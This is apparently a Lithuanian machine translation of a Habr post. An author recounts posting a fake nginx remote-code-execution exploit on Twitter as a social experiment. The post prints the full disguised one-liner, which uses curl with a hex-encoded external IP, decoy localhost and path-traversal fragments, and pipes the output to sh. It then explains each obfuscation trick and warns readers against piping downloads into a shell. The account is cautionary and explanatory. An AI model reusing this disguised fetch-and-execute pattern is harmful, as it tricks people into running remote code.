Socialinio eksperimento su netikru nginx išnaudojimu sėkmė

Pastaba. vert.: autorius birželio 1 d. paskelbtas originalus užrašas nusprendė atlikti eksperimentą tarp besidominčių informacijos saugumu. Norėdami tai padaryti, jis paruošė netikrą išnaudojimą dėl neatskleistos žiniatinklio serverio pažeidžiamumo ir paskelbė jį savo Twitter. Jo prielaidos – būti akimirksniu atskleistam specialistų, kurie įžvelgtų kode akivaizdžią apgaulę – ne tik nepasitvirtino... Jos pranoko visus lūkesčius, ir atvirkščiai: tviteris sulaukė didžiulio palaikymo iš daugybės žmonių, kurie to nepadarė. patikrinkite jo turinį.

Socialinio eksperimento su netikru nginx išnaudojimu sėkmė

TL;DR: jokiomis aplinkybėmis nenaudokite failų konvejeriavimo sh arba bash. Tai puikus būdas prarasti kompiuterio kontrolę.

Noriu pasidalinti su jumis trumpa istorija apie komišką PoC išnaudojimą, kuris buvo sukurtas gegužės 31 d. Jis greitai pasirodė atsakydamas į žinias iš Alisa Esage Shevchenko, narys Nulio dienos iniciatyva (ZDI), netrukus bus atskleista informacija apie NGINX pažeidžiamumą, sukeliantį RCE (nuotolinį kodo vykdymą). Kadangi NGINX veikia daugelyje svetainių, naujienos turėjo būti bomba. Tačiau dėl „atsakingo atskleidimo“ proceso vėlavimo detalių apie tai, kas nutiko, nebuvo žinoma – tai yra standartinė ZDI procedūra.

Socialinio eksperimento su netikru nginx išnaudojimu sėkmė
Tviteryje apie NGINX pažeidžiamumo atskleidimą

Baigęs dirbti su nauja užtemdymo technika curl, pacitavau originalų tviterį ir „nutekėjau veikiantį PoC“, susidedantį iš vienos kodo eilutės, kuri tariamai išnaudoja aptiktą pažeidžiamumą. Žinoma, tai buvo visiška nesąmonė. Maniau, kad būsiu tuoj pat atskleistas ir geriausiu atveju sulauksiu poros retweetų (na gerai).

Socialinio eksperimento su netikru nginx išnaudojimu sėkmė
Tviteryje su netikru išnaudojimu

Tačiau neįsivaizdavau, kas nutiko toliau. Mano tviterio populiarumas smarkiai išaugo. Keista, tačiau šiuo metu (birželio 15 d. 00 val. Maskvos laiku) mažai kas suprato, kad tai klastotė. Daugelis žmonių persiunčia jį iš naujo nepatikrindami (jau nekalbant apie nuostabią ASCII grafiką, kurią jis išveda).

Socialinio eksperimento su netikru nginx išnaudojimu sėkmė
Tik pažiūrėk, koks jis gražus!

Nors visos šios kilpos ir spalvos yra puikios, akivaizdu, kad žmonės turėjo paleisti kodą savo kompiuteryje, kad juos matytų. Laimei, naršyklės veikia taip pat, o kartu su tuo, kad aš tikrai nenorėjau patekti į teisines problemas, mano svetainėje palaidotas kodas tiesiog skambino nebandant įdiegti ar vykdyti jokio papildomo kodo.

Mažas nukrypimas: netspooky, DNZ, aš ir kiti komandos vaikinai Thugcrowd Jau kurį laiką žaidžiame įvairiais būdais užmaskuoti garbanojimo komandas, nes tai šaunu... ir mes esame geikai. netspooky ir dnz atrado keletą naujų metodų, kurie man atrodė labai perspektyvūs. Prisidėjau prie linksmybių ir pabandžiau į gudrybių krepšį įtraukti IP dešimtainio skaičiaus konvertavimą. Pasirodo, IP taip pat galima konvertuoti į šešioliktainį formatą. Be to, curl ir dauguma kitų NIX įrankių mielai valgo šešioliktainius IP! Taigi tereikia sukurti įtikinamai ir saugiai atrodančią komandų eilutę. Galiausiai apsisprendžiau ties šiuo:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socialinė ir elektroninė inžinerija (SEE) – daugiau nei tik sukčiavimas

Saugumas ir susipažinimas buvo pagrindinė šio eksperimento dalis. Manau, kad būtent jie lėmė jo sėkmę. Komandų eilutė aiškiai reiškė saugumą, nurodant „127.0.0.1“ (gerai žinomas „localhost“). Localhost yra laikomas saugiu ir jame esantys duomenys niekada nepalieka jūsų kompiuterio.

Susipažinimas buvo antrasis pagrindinis SEE eksperimento komponentas. Kadangi tikslinę auditoriją daugiausia sudarė žmonės, susipažinę su kompiuterių saugos pagrindais, buvo svarbu sukurti kodą taip, kad jo dalys atrodytų pažįstamos ir pažįstamos (taigi ir saugios). Pasirodė, kad senų išnaudojimo koncepcijų elementų skolinimasis ir jų neįprastas derinimas yra labai sėkmingas.

Žemiau pateikiama išsami vieno įdėklo analizė. Viskas šiame sąraše dėvi kosmetinis pobūdis, o jo realiam veikimui praktiškai nieko nereikia.

Kokie komponentai tikrai reikalingi? Tai -gsS, -O 0x0238f06a, |sh ir pats žiniatinklio serveris. Žiniatinklio serveryje nebuvo jokių kenkėjiškų nurodymų, jis tiesiog aptarnavo ASCII grafiką naudodamas komandas echo esančiame scenarijuje index.html. Kai vartotojas įvedė eilutę su |sh viduryje, index.html įkeltas ir įvykdytas. Laimei, žiniatinklio serverio saugotojai neturėjo blogų ketinimų.

  • ../../../%00 — reiškia, kad yra už katalogo ribų;
  • ngx_stream_module.so — kelias į atsitiktinį NGINX modulį;
  • /bin/sh%00<'protocol:TCP' – neva paleidžiame /bin/sh tiksliniame kompiuteryje ir nukreipkite išvestį į TCP kanalą;
  • -O 0x0238f06a#PLToffset - slaptas ingredientas, papildytas #PLToffset, kad atrodytų kaip atminties poslinkis, kažkaip esantis PLT;
  • |sh; – dar vienas svarbus fragmentas. Mums reikėjo nukreipti išvestį į sh/bash, kad įvykdytume kodą, gaunamą iš atakuojančio žiniatinklio serverio, esančio adresu 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - manekenas, kuriame nurodo netcat /dev/tcp/localhostkad viskas vėl atrodytų saugu. Tiesą sakant, jis nieko nedaro ir yra įtrauktas į grožio eilutę.

Tai užbaigia vienos eilutės scenarijaus dekodavimą ir „socialinės ir elektroninės inžinerijos“ (sudėtingo sukčiavimo) aspektų aptarimą.

Žiniatinklio serverio konfigūracija ir atsakomosios priemonės

Kadangi didžioji dauguma mano prenumeratorių yra infosec/hakeriai, nusprendžiau padaryti žiniatinklio serverį šiek tiek atsparesnį jų „susidomėjimo“ išraiškoms, kad vaikinai turėtų ką veikti (o būtų smagu nustatyti). Nesiruošiu čia išvardyti visų spąstų, nes eksperimentas vis dar tęsiasi, bet čia yra keletas dalykų, kuriuos atlieka serveris:

  • Aktyviai stebi platinimo bandymus tam tikruose socialiniuose tinkluose ir pakeičia įvairias peržiūros miniatiūras, kad paskatintų vartotoją spustelėti nuorodą.
  • Peradresuoja „Chrome“ / „Mozilla“ / „Safari“ / kt. į „Thugcrowd“ reklaminį vaizdo įrašą, o ne rodydamas apvalkalo scenarijų.
  • Stebi, ar nėra AIKIŲ įsibrovimo / akivaizdaus įsilaužimo požymių, tada pradeda peradresuoti užklausas į NSA serverius (ha!).
  • Įdiegti Trojos arklys, taip pat BIOS rootkit, visuose kompiuteriuose, kurių vartotojai lankosi priegloboje iš įprastos naršyklės (juokauju!).

Socialinio eksperimento su netikru nginx išnaudojimu sėkmė
Nedidelė dalis antimerų

Šiuo atveju vienintelis mano tikslas buvo išmokti kai kurias „Apache“ funkcijas – ypač šaunias užklausų peradresavimo taisykles – ir pagalvojau: kodėl gi ne?

NGINX Exploit (tikras!)

Prenumeruokite @alisaesage „Twitter“ ir sekite puikų ZDI darbą sprendžiant labai tikrus pažeidžiamumus ir išnaudojant galimybes NGINX. Jų darbas mane visada žavėjo ir esu dėkingas Alisai už kantrybę su visais paminėjimais ir pranešimais, kuriuos sukėlė mano kvailas tviteris. Laimei, tai taip pat davė naudos: padėjo informuoti apie NGINX pažeidžiamumą, taip pat apie problemas, kylančias dėl piktnaudžiavimo garbanomis.

Šaltinis: www.habr.com

Добавить комментарий